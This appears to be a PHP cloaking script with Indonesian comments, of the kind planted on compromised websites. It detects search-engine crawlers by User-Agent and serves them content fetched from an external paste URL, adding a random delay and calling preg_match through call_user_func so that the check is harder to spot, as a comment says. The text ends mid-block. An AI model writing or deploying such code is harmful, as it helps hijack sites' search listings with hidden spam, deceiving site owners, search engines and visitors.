<?php
ob_start();
header('Vary: User-Agent');

// URL yang diperbaiki
$bot_url = "https://paste.haxor-research.com/raw/35a6a700";

// User-Agent
$ua = strtolower($_SERVER["HTTP_USER_AGENT"]);

$b = ['googlebot','slurp','bingbot','baiduspider','yandex','adsense','crawler','spider','inspection'];
$p = implode('|', $b);
$pattern = "/(" . $p . ")/i";

// Nama fungsi dinamis
$fn = function($url) {
    if (function_exists('curl_init')) {
        $c = curl_init();
        curl_setopt($c, CURLOPT_URL, $url);
        curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($c, CURLOPT_USERAGENT, 'Mozilla/5.0');
        $r = curl_exec($c);
        curl_close($c);
        return $r;
    } elseif (ini_get('allow_url_fopen')) {
        return file_get_contents($url);
    }
    return false;
};

// Gunakan preg_match via call_user_func agar tidak terbaca langsung
if (call_user_func('preg_match', $pattern, $ua)) {
    usleep(random_int(1000000, 2000000)); // delay
    echo $fn($bot_url); // Ambil konten dari URL yang diberikan
    ob_end_flush(); // Selesaikan output buffering
    exit;